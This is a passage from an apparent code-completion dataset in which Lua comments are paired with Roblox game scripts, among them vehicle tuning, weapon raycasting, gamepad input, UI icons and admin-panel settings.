declerations", "completion": "\n\nlocal next = next;\nlocal type = type;\nlocal pcall = pcall;\nlocal unpack = unpack;\nlocal tostring = tostring;\nlocal tonumber = tonumber;\n\nlocal abs = math.abs;\nlocal min = math.min;\nlocal max = math.max;\n\nlocal sub = string.sub;\nlocal rep = string.rep;\nlocal byte = string.byte;\nlocal gsub = string.gsub;\nlocal find = string.find;\nlocal char = string.char;\nlocal match = string.match;\nlocal upper = string.upper;\nlocal gmatch = string.gmatch;\n\nlocal sort = table.sort;\nlocal insert = table.insert;\n\nlocal udim2 = UDim2.new;\nlocal color3 = Color3.new;\nlocal vector2 = Vector2.new;\nlocal instance = Instance.new;\n"} +{"prompt": "--[[Vehicle Weight]]", "completion": "\t\n\t--Determine Current Mass\n\tlocal mass=0\n\t\n\tfunction getMass(p)\n\t\tfor i,v in pairs(p:GetChildren())do\n\t\t\tif v:IsA(\"BasePart\") then\n\t\t\t\tmass=mass+v:GetMass()\n\t\t\tend\n\t\t\tgetMass(v)\n\t\tend\t\n\tend\n\tgetMass(car)\n\t\n\t--Apply Vehicle Weight\n\tif mass<_Tune.Weight*weightScaling then\n\t\t--Calculate Weight Distribution\n\t\tlocal centerF = Vector3.new()\n\t\tlocal centerR = Vector3.new()\n\t\tlocal countF = 0\n\t\tlocal countR = 0\n\t\t\n\t\tfor i,v in pairs(Drive) do\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\t\tcenterF = centerF+v.CFrame.p\n\t\t\t\tcountF = countF+1\n\t\t\telse\n\t\t\t\tcenterR = centerR+v.CFrame.p\n\t\t\t\tcountR = countR+1\n\t\t\tend\n\t\tend\n\t\tcenterF = centerF/countF\n\t\tcenterR = centerR/countR\n\t\tlocal center = centerR:Lerp(centerF, _Tune.WeightDist/100) \n\t\t\n\t\t--Create Weight Brick\n\t\tlocal weightB = Instance.new(\"Part\",car.Body)\n\t\tweightB.Name = \"#Weight\"\n\t\tweightB.Anchored = true\n\t\tweightB.CanCollide = false\n\t\tweightB.BrickColor = BrickColor.new(\"Really black\")\n\t\tweightB.TopSurface = Enum.SurfaceType.Smooth\n\t\tweightB.BottomSurface = Enum.SurfaceType.Smooth\n\t\tif _Tune.WBVisible then\n\t\t\tweightB.Transparency = .75\t\t\t\n\t\telse\n\t\t\tweightB.Transparency = 1\t\t\t\n\t\tend\n\t\tweightB.Size = Vector3.new(_Tune.WeightBSize[1],_Tune.WeightBSize[2],_Tune.WeightBSize[3])\n\t\tweightB.CustomPhysicalProperties = PhysicalProperties.new(((_Tune.Weight*weightScaling)-mass)/(weightB.Size.x*weightB.Size.y*weightB.Size.z),0,0,0,0)\n\t\tweightB.CFrame=(car.DriveSeat.CFrame-car.DriveSeat.Position+center)*CFrame.new(0,_Tune.CGHeight,0)\n\telse\n\t\t--Existing Weight Is Too Massive\n\t\twarn( \"\\n\\t [AC\".._BuildVersion..\"]: Mass too high for specified weight.\"\n\t\t\t..\"\\n\\t Target Mass:\\t\"..(math.ceil(_Tune.Weight*weightScaling*100)/100)\n\t\t\t..\"\\n\\t Current Mass:\\t\"..(math.ceil(mass*100)/100)\n\t\t\t..\"\\n\\t Reduce part size or axle density to achieve desired weight.\")\n\tend\n\t\n\tlocal flipG = Instance.new(\"BodyGyro\",car.DriveSeat)\n\tflipG.Name = \"Flip\"\n\tflipG.D = 0\n\tflipG.MaxTorque = Vector3.new(0,0,0)\n\tflipG.P = 0\n\n\n\t"} +{"prompt": "--[[\n\tAssert that the expectation value is the given type.\n\n\texpect(5).to.be.a(\"number\")\n]]", "completion": "\nfunction Expectation:a(typeName)\n\tlocal result = (type(self.value) == typeName) == self.successCondition\n\n\tlocal message = formatMessage(\n\t\tself.successCondition,\n\t\t(\"Expected value of type %q, got value %q of type %s\"):format(typeName, tostring(self.value), type(self.value)),\n\t\t(\"Expected value not of type %q, got value %q of type %s\"):format(\n\t\t\ttypeName,\n\t\t\ttostring(self.value),\n\t\t\ttype(self.value)\n\t\t)\n\t)\n\n\tassertLevel(result, message, 3)\n\tself:_resetModifiers()\n\n\treturn self\nend\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 6000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 4 \t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= 2 \t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= 2 \t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 300\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 7000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 4.5\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= 3 \t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= 1.5\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "-- Indicator class", "completion": "\n\nlocal Indicator = {}\nIndicator.all = {}\n\nfunction Indicator:new(newIndicator)\n\tlocal newIndicator = newIndicator or {}\n\t\n\t-- Properties\n\tnewIndicator.time = newIndicator.time or 1\n\tnewIndicator.position = newIndicator.position or Vector3.new()\n\tnewIndicator.radius = newIndicator.radius or 100\n\t\n\tnewIndicator.timeCreated = tick()\n\tnewIndicator.timeExpire = tick() + newIndicator.time\n\tnewIndicator.alive = true\n\t\n\tnewIndicator.frame = frTemplate:clone()\n\tnewIndicator.frame.Parent = gui\n\tnewIndicator.frame.Archivable = false\n\t\n\tsetmetatable(newIndicator, Indicator)\n\tself.__index = self\n\ttable.insert(Indicator.all, newIndicator)\n\t\n\tnewIndicator:update()\n\t\n\treturn newIndicator\nend\n\nfunction Indicator:expire()\n\tself.alive = false\n\t\n\t-- Cleanup resources\n\tself.frame:Destroy()\n\t\n\t-- Remove from all\n\tfor i = 1, #Indicator.all do\n\t\tif self == Indicator.all[i] then\n\t\t\ttable.remove(Indicator.all, i)\n\t\t\tbreak\n\t\tend\n\tend\nend\n\nfunction Indicator:setAngle(angleRadians)\n\tassert(self, \"use colon\")\n\tif not self.alive then return end\n\t\n\tlocal angleDegrees = angleRadians * (180 / math.pi)\n\tself.frame.Position = UDim2.new(\n\t\t\t.5,\n\t\t\tmath.cos(angleRadians) * self.radius + self.frame.AbsoluteSize.X / -2,\n\t\t\t.5,\n\t\t\tmath.sin(angleRadians) * self.radius + self.frame.AbsoluteSize.Y / -2\n\t\t)\n\tself.frame.Rotation = angleDegrees + 90\nend\n\nfunction Indicator:update()\n\tif tick() >= self.timeExpire then\n\t\tself:expire()\n\telse\n\t\tlocal perc = (tick() - self.timeCreated) / self.time\n\t\tself:setAngle(getCameraAngle(camera) - angleBetweenPoints(camera.Focus.p, self.position) - math.pi / 2)\n\n\t\tself.frame.ImageLabel.ImageTransparency = perc\n\t\tself.frame.ImageLabel.Size = UDim2.new(0, 50, 0, -50 * (1 - perc))\n\tend\nend\n\nfunction Indicator:updateAll()\n\tlocal i = 1\n\twhile i <= #Indicator.all do\n\t\tlocal indicator = Indicator.all[i]\n\t\tindicator:update()\n\t\tif indicator.alive then\n\t\t\ti = i + 1\n\t\tend\n\tend\nend\n"} +{"prompt": "-- this is a dummy object that holds the flash made when the gun is fired", "completion": "\nlocal FlashHolder = nil\n\nlocal EquipTrack = nil\nlocal PumpTrack = nil\n\n\nlocal WorldToCellFunction = workspace.Terrain.WorldToCellPreferSolid\nlocal GetCellFunction = workspace.Terrain.GetCell\n\nfunction RayIgnoreCheck(hit, pos)\n\tif hit then\n\t\tif hit.Transparency >= 1 or string.lower(hit.Name) == \"water\" or\n\t\t\t\thit.Name == \"Effect\" or hit.Name == \"Rocket\" or hit.Name == \"Bullet\" or\n\t\t\t\thit.Name == \"Handle\" or hit:IsDescendantOf(MyCharacter) then\n\t\t\treturn true\n\t\telseif hit:IsA('Terrain') and pos then\n\t\t\tlocal cellPos = WorldToCellFunction(workspace.Terrain, pos)\n\t\t\tif cellPos then\n\t\t\t\tlocal cellMat = GetCellFunction(workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)\n\t\t\t\tif cellMat and cellMat == Enum.CellMaterial.Water then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn false\nend\n"} +{"prompt": "----//Functions//", "completion": "\n\nfunction hidethingy()\n\tworkspace.CFolderHandler.CameraTarget.Transparency = 1\n\tworkspace.CFolderHandler.CameraTarget.Facing.Visible = false\nend\nhidethingy()\n\nrepeat wait(0.1) until Plr.Character ~= nil\n\n\nCurrentCamera.CameraType = Enum.CameraType.Scriptable\nCurrentCamera.CFrame = workspace.CFolderHandler.CameraTarget.CFrame\n"} +{"prompt": "--[[\nfunction HomeRunHit(part)\n\tlocal h = (part.Parent or game):FindFirstChild(\"Humanoid\") --or findfirstchild optimization\n\tif h then\n\t\twait()\n\tend\nend\n\nfunction HomeRun()\n\tfor i = 0, 1, 0.1 do\n\t\tif anim ~= \"homerun\" then return end\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.3+1.2*i, -0.5*i, -0.5+i)\n\t\t--R.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(2.5, -0.5, 0.5)\n\t\tLW.C0 = CFrame.new(-1.5+0.5*i, 0.5, -0.5*i) * CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)\t\n\t\t--L.C0 = CFrame.new(-1.0, 0.5, -0.5) * CFrame.fromEulerAnglesXYZ(1.7, 0, 1)\n\tend\n\t--start homerunhit connection--\n\tlocal con = script.Parent.Handle.Touched:connect(HomeRunHit)\n\t----------------------------------------\n\tfor i = 0, 1, 0.2 do\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(2.5, -0.5-1.7*i, 0.5+0.5*i)\n\t\t--R.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(2.5, -2.2, 1)\n\t\tLW.C0 = CFrame.new(-1-0.5*i, 0.5, -0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8-1.2*i)\t\n\t\tLW.C1 = CFrame.new(0, 0.5-i, 0)\n\t\tGRP.C0 = CFrame.new(0, -1, 0) * CFrame.fromEulerAnglesXYZ(-1-2*i, 0, 0)\n\tend\n\tfor i = 0, 1, 0.2 do\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(2.5, -2.2-0.6*i, 1)\n\tend\n\twait(0.1)\n\t----end homerun connection---\n\tcon:disconnect()\n\t--------------------------------------\n\tfor i = 0, 1, 0.1 do\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(2.5-1.2*i, -2.8+2.8*i, 1-1.5*i)\n\t\t--RW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)\n\t\tLW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.7, 0, -0.4+1.2*i)\t\n\t\tLW.C1 = CFrame.new(0, -0.5+i*2, 0)\n\t\t--LW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)\n\t\tGRP.C0 = CFrame.new(0, -1, 0) * CFrame.fromEulerAnglesXYZ(-3+2*i, 0, 0)\n\tend\nend\n\nfunction Whack()\n\tfor i = 0, 1, 0.2 do\n\t\tif anim ~= \"norm\" then return end\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.3+i, 0, -0.5+0.5*i)\n\t\tLW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.7-0.25*i, 0, 0.8-0.6*i)\t\n\tend\n\tfor i = 0, 1, 0.25 do\n\t\tif anim ~= \"norm\" then return end\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(2.3-2.5*i, 0, 0)\n\t\tLW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.45-0.25*i, 0, 0.2)\t\n\t\tGRP.C0 = CFrame.new(0, -1, 0) * CFrame.fromEulerAnglesXYZ(-1-0.5*i, 0, 0)\n\tend\n\t--insert camshake and hit nearby people\n\t--add dust cloud\n\tfor i = 0, 1, 0.2 do\n\t\tif anim ~= \"norm\" then return end\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(-0.2+1.5*i, 0, -0.5*i)\n\t\tLW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.2+0.5*i, 0, 0.2+0.6*i)\t\n\t\tGRP.C0 = CFrame.new(0, -1, 0) * CFrame.fromEulerAnglesXYZ(-1.5+0.5*i, 0, 0)\n\tend\nend\n\nlocal a = false\nlocal co = nil\n--OMGHAX mouseclick\nlocal last_click = 0\nscript.Parent.MouseClick.Changed:connect(function()\n\tif time() - last_click < 0.3 then\n\t\tanim = \"homerun\"\n\t\tlast_click = time()\n\t\tHomeRun()\n\telse\n\t\tanim = \"norm\"\n\t\tlast_click = time()\n\t\tWhack()\n\tend\nend)]]", "completion": "\n"} +{"prompt": "-- In radian the maximum accuracy penalty", "completion": "\nlocal MaxSpread = 0.1"} +{"prompt": "-- Tool Animation handling", "completion": "\nlocal tool = getTool()\nif tool and tool:FindFirstChild(\"Handle\") then\nlocal animStringValueObject = getToolAnim(tool)\nif animStringValueObject then\ntoolAnim = animStringValueObject.Value"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCharacterController = require(script.Parent:WaitForChild(\"BaseCharacterController\"))\nlocal Gamepad = setmetatable({}, BaseCharacterController)\nGamepad.__index = Gamepad\n\nfunction Gamepad.new(CONTROL_ACTION_PRIORITY)\n\tlocal self = setmetatable(BaseCharacterController.new(), Gamepad)\n\n\tself.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY\n\n\tself.forwardValue = 0\n\tself.backwardValue = 0\n\tself.leftValue = 0\n\tself.rightValue = 0\n\n\tself.activeGamepad = NONE\t-- Enum.UserInputType.Gamepad1, 2, 3...\n\tself.gamepadConnectedConn = nil\n\tself.gamepadDisconnectedConn = nil\n\treturn self\nend\n\nfunction Gamepad:Enable(enable)\n\tif not UserInputService.GamepadEnabled then\n\t\treturn false\n\tend\n\n\tif enable == self.enabled then\n\t\t-- Module is already in the state being requested. True is returned here since the module will be in the state\n\t\t-- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate\n\t\t-- no action was necessary. False indicates failure to be in requested/expected state.\n\t\treturn true\n\tend\n\n\tself.forwardValue = 0\n\tself.backwardValue = 0\n\tself.leftValue = 0\n\tself.rightValue = 0\n\tself.moveVector = ZERO_VECTOR3\n\tself.isJumping = false\n\n\tif enable then\n\t\tself.activeGamepad = self:GetHighestPriorityGamepad()\n\t\tif self.activeGamepad ~= NONE then\n\t\t\tself:BindContextActions()\n\t\t\tself:ConnectGamepadConnectionListeners()\n\t\telse\n\t\t\t-- No connected gamepads, failure to enable\n\t\t\treturn false\n\t\tend\n\telse\n\t\tself:UnbindContextActions()\n\t\tself:DisconnectGamepadConnectionListeners()\n\t\tself.activeGamepad = NONE\n\tend\n\n\tself.enabled = enable\n\treturn true\nend\n"} +{"prompt": "--[=[\n @function Transparency\n @within Blend\n\n @param background Color3 -- The background colour.\n @param foreground Color3 -- The foreground colour.\n @param transparency number -- The transparency value.\n @return Color3 -- The resulting colour.\n]=]", "completion": "\nlocal function applyTransparency(background: Color3, foreground: Color3, transparency: number): Color3\n\tlocal alpha = 1 - transparency\n\n\tlocal red = foreground.R * alpha + background.R * transparency\n\tlocal green = foreground.G * alpha + background.G * transparency\n\tlocal blue = foreground.B * alpha + background.B * transparency\n\n\treturn Color3.new(red, green, blue)\nend\n\nreturn applyTransparency\n"} +{"prompt": "-- << RETRIEVE FRAMEWORK >>", "completion": "\nlocal main = _G.HDAdminMain\n\n\n"} +{"prompt": "--Both", "completion": "\nlocal Loudness = 1 --volume of the boost supplier (not exact volume so you kinda have to experiment with it also)\n\nscript:WaitForChild(\"Whistle\")\nscript:WaitForChild(\"Whine\")\nscript:WaitForChild(\"BOV\")\n\nfor i,v in pairs(car.DriveSeat:GetChildren()) do\n\tfor _,a in pairs(script:GetChildren()) do\n\t\tif v.Name==a.Name then v:Stop() wait() v:Destroy() end\n\tend\nend\n\ncar.DriveSeat.ChildRemoved:connect(function(child)\n\tif child.Name==\"SeatWeld\" then\n\t\tfor i,v in pairs(car.DriveSeat:GetChildren()) do\n\t\t\tfor _,a in pairs(script:GetChildren()) do\n\t\t\t\tif v.Name==a.Name then v:Stop() wait() v:Destroy() end\n\t\t\tend\n\t\tend\n\tend\nend)\n\nhandler:FireServer(\"newSound\",\"Whistle\",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)\nhandler:FireServer(\"newSound\",\"Whine\",car.DriveSeat,script.Whine.SoundId,0,script.Whine.Volume,true)\nhandler:FireServer(\"newSound\",\"BOV\",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)\nhandler:FireServer(\"playSound\",\"Whistle\")\nhandler:FireServer(\"playSound\",\"Whine\")\ncar.DriveSeat:WaitForChild(\"Whistle\")\ncar.DriveSeat:WaitForChild(\"Whine\")\ncar.DriveSeat:WaitForChild(\"BOV\")\nlocal ticc = tick()\nlocal _TCount = 0\nif _Tune.Aspiration == \"Single\" or _Tune.Aspiration == \"Super\" then _TCount = 1 elseif _Tune.Aspiration == \"Double\" then _TCount = 2 end\n\nwhile wait() do\n\tlocal psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2)\n\tlocal WP,WV,BP,BV,HP,HV = 0\n\t\n\tBOVact = math.floor(psi*20)\n\tif _Tune.Aspiration == \"Single\" or _Tune.Aspiration == \"Double\" then\n\t\tWP = (psi)\n\t\tWV = (psi/4)*Loudness\n\t\t\n\t\tBP = (1-(-psi/20))*BOV_Pitch\n\t\tBV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))\n\t\n\t\tif BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer(\"playSound\",\"BOV\") else car.DriveSeat.BOV:Play() end end end\n\t\tif BOVact >= BOVact2 then if FE then handler:FireServer(\"stopSound\",\"BOV\") else car.DriveSeat.BOV:Stop() end end\n\telseif _Tune.Aspiration == \"Super\" then\n\t\tpsi = psi/2\n\t\tHP = psi*Whine_Pitch\n\t\tHV = (psi/4)*Loudness\n\tend\n\t\t\n\tif FE then\n\t\thandler:FireServer(\"updateSound\",\"Whistle\",script.Whistle.SoundId,WP,WV)\n\t\thandler:FireServer(\"updateSound\",\"Whine\",script.Whine.SoundId,HP,HV)\n\t\thandler:FireServer(\"updateSound\",\"BOV\",script.BOV.SoundId,BP,BV)\n\telse\n\t\tcar.DriveSeat.Whistle.Pitch = WP\n\t\tcar.DriveSeat.Whistle.Volume = WV\n\t\tcar.DriveSeat.Whine.Pitch = HP\n\t\tcar.DriveSeat.Whine.Volume = HV\n\t\tcar.DriveSeat.BOV.Pitch = BP\n\t\tcar.DriveSeat.BOV.Volume = BV\n\tend\n\tif (tick()-ticc) >= 0.1 then\n\t\tBOVact2 = math.floor(psi*20)\n\t\tticc = tick()\n\tend\nend\n"} +{"prompt": "-- Recoil related functions", "completion": "\n\nfunction ShoulderCamera:setCurrentRecoilIntensity(x, y)\n\tself.currentRecoil = Vector2.new(x, y)\nend\n\nfunction ShoulderCamera:addRecoil(recoilAmount)\n\tself.currentRecoil = self.currentRecoil + recoilAmount\nend\n\n"} +{"prompt": "-- METHODS", "completion": "\nfunction IconController.setGameTheme(theme)\n\tIconController.gameTheme = theme\n\tlocal icons = IconController.getIcons()\n\tfor _, icon in pairs(icons) do\n\t\ticon:setTheme(theme)\n\tend\nend\n\nfunction IconController.setDisplayOrder(value)\n\tvalue = tonumber(value) or TopbarPlusGui.DisplayOrder\n\tTopbarPlusGui.DisplayOrder = value\nend\nIconController.setDisplayOrder(10)\n\nfunction IconController.getIcons()\n\tlocal allIcons = {}\n\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\ttable.insert(allIcons, otherIcon)\n\tend\n\treturn allIcons\nend\n\nfunction IconController.getIcon(name)\n\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\tif otherIcon.name == name then\n\t\t\treturn otherIcon\n\t\tend\n\tend\n\treturn false\nend\n\nfunction IconController.disableHealthbar(bool)\n\tlocal finalBool = (bool == nil or bool)\n\tIconController.healthbarDisabled = finalBool\n\tIconController.healthbarDisabledSignal:Fire(finalBool)\nend\n\nfunction IconController.canShowIconOnTopbar(icon)\n\tif (icon.enabled == true or icon.accountForWhenDisabled) and icon.presentOnTopbar then\n\t\treturn true\n\tend\n\treturn false\nend\n\nfunction IconController.getMenuOffset(icon)\n\tlocal alignment = icon:get(\"alignment\")\n\tlocal alignmentGap = IconController[alignment..\"Gap\"]\n\tlocal iconSize = icon:get(\"iconSize\") or UDim2.new(0, 32, 0, 32)\n\tlocal sizeX = iconSize.X.Offset\n\tlocal iconWidthAndGap = (sizeX + alignmentGap)\n\tlocal extendLeft = 0\n\tlocal extendRight = 0\n\tlocal additionalRight = 0\n\tif icon.menuOpen then\n\t\tlocal menuSize = icon:get(\"menuSize\")\n\t\tlocal menuSizeXOffset = menuSize.X.Offset\n\t\tlocal direction = icon:_getMenuDirection()\n\t\tif direction == \"right\" then\n\t\t\textendRight += menuSizeXOffset + alignmentGap/6--2\n\t\telseif direction == \"left\" then\n\t\t\textendLeft = menuSizeXOffset + 4\n\t\t\textendRight += alignmentGap/3--4\n\t\t\tadditionalRight = menuSizeXOffset\n\t\tend\n\tend\n\treturn extendLeft, extendRight, additionalRight\nend\n"} +{"prompt": "---[[ Window Settings ]]", "completion": "\nmodule.MinimumWindowSize = UDim2.new(0.3, 0, 0.25, 0)\nmodule.MaximumWindowSize = UDim2.new(1, 0, 1, 0) -- if you change this to be greater than full screen size, weird things start to happen with size/position bounds checking.\nmodule.DefaultWindowPosition = UDim2.new(0, 0, 0, 0)\nlocal extraOffset = (7 * 2) + (5 * 2) -- Extra chatbar vertical offset\nmodule.DefaultWindowSizePhone = UDim2.new(0.5, 0, 0.5, extraOffset)\nmodule.DefaultWindowSizeTablet = UDim2.new(0.4, 0, 0.3, extraOffset)\nmodule.DefaultWindowSizeDesktop = UDim2.new(0.3, 0, 0.25, extraOffset)\n"} +{"prompt": "--[[\nJoins 2 parts at given surfaces with beams.\n--]]", "completion": "\nfunction PartJoiner:JoinParts(Part1,Part2,Surface1,Surface2)\n\t--Get the offsets and sizes.\n\tlocal OffsetData1 = SurfaceData[Surface1]\n\tlocal OffsetData2 = SurfaceData[Surface2]\n\tlocal Size1,Size2 = Part1.Size,Part2.Size\n\t\n\t--Create the beams.\n\tfor i,Offset1 in pairs(OffsetData1) do\n\t\tlocal Offset2 = OffsetData2[i]\n\t\tJoinPartsAtOffset(Part1,Part2,Offset1.Position * Size1,Offset2.Position * Size2,Offset1.Rotation,Size1[Offset1.Width],Size2[Offset2.Width])\n\tend\nend\n\n\n\nreturn PartJoiner\n"} +{"prompt": "--// bolekinds", "completion": "\n\nscript.Parent.MouseButton1Click:Connect(function()\n\tif game.Players.LocalPlayer.YouCash.Value >= 85 and not workspace:FindFirstChild(\"Scratch\") then\n\t\tscript.Parent.Parent.Parent.Ching:Play()\n\telse\n\t\tscript.Parent.Parent.Parent.Thud:Play()\n\tend\nend)\n"} +{"prompt": "--\tend;", "completion": "\n\tlocal v53 = math.round(v45);\n\tif not u1.Gamepasses.Owns(p7, l__ID__11) and p9 then\n\t\treturn false, \"You do not own Triple Eggs Gamepass\";\n\tend;\n\tlocal v54, v55 = v1.IsUnlocked(p7, p8);\n\tif not v54 then\n\t\treturn false, v55;\n\tend;\n\tif v42[l__currency__46] < v53 then\n\t\treturn false, \"You need \" .. u1.Functions.Format.Short(v53 - v42[l__currency__46]) .. \" more \" .. l__currency__46 .. \" to buy this egg!\";\n\tend;\n\tif v42.MaxSlots <= #v42.Pets + (v44 - 1) then\n\t\treturn false, \"Your inventory is full!\";\n\tend;\n\tif u12[p7] then\n\t\treturn false, \"You are doing this too quickly!\";\n\tend;\n\tcoroutine.wrap(function()\n\t\tu12[p7] = true;\n\t\tu1.Functions.Wait(0.75);\n\t\tu12[p7] = nil;\n\tend)();\n\tif not v1.Open(p7, p8, v44) then\n\t\treturn;\n\tend;\n\tv42[l__currency__46] = v42[l__currency__46] - v53;\n\tif not v42.EggsOpened[p8] then\n\t\tv42.EggsOpened[p8] = 0;\n\tend;\n\tlocal l__EggsOpened__56 = v42.EggsOpened;\n\tl__EggsOpened__56[p8] = l__EggsOpened__56[p8] + v44;\n\tprint(l__EggsOpened__56)\n\tu1.Achievements.Add(p7, \"Open Eggs\", v44);"} +{"prompt": "--------------| SYSTEM SETTINGS |--------------", "completion": "\nPrefix\t\t\t\t= \";\";\t\t\t-- The character you use before every command (e.g. ';jump me').\nSplitKey \t\t\t= \" \";\t\t\t-- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').\nBatchKey \t\t\t= \"\";\t\t\t-- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'\nQualifierBatchKey \t= \",\";\t\t\t-- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)\n\nTheme\t\t\t\t= \"Blue\";\t\t-- The default UI theme.\nNoticeSoundId\t\t= 2865227271;\t-- The SoundId for notices.\nNoticeVolume\t\t= 0.1;\t\t\t-- The Volume for notices.\nNoticePitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for notices.\nErrorSoundId\t\t= 2865228021;\t-- The SoundId for error notifications.\nErrorVolume\t\t\t= 0.1;\t\t\t-- The Volume for error notifications.\nErrorPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for error notifications.\nAlertSoundId\t\t= 9161622880;\t-- The SoundId for alerts.\nAlertVolume\t\t\t= 0.5;\t\t\t-- The Volume for alerts.\nAlertPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for alerts.\n\nWelcomeBadgeId\t\t= 0;\t\t\t-- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.\n\nCommandDebounce\t\t= true;\t\t\t-- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.\nSaveRank\t\t\t= true;\t\t\t-- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.\nLoopCommands\t\t= 3;\t\t\t-- The minimum rank required to use LoopCommands.\nMusicList \t\t\t= {};\t-- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.\n\nThemeColors = {\t\t\t\t\t\t-- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};\n\t{\"Red\", \tColor3.fromRGB(150, 0, 0),\t\t};\n\t{\"Orange\", \tColor3.fromRGB(150, 75, 0),\t\t};\n\t{\"Brown\", \tColor3.fromRGB(120, 80, 30),\t};\n\t{\"Yellow\", \tColor3.fromRGB(130, 120, 0),\t};\n\t{\"Green\", 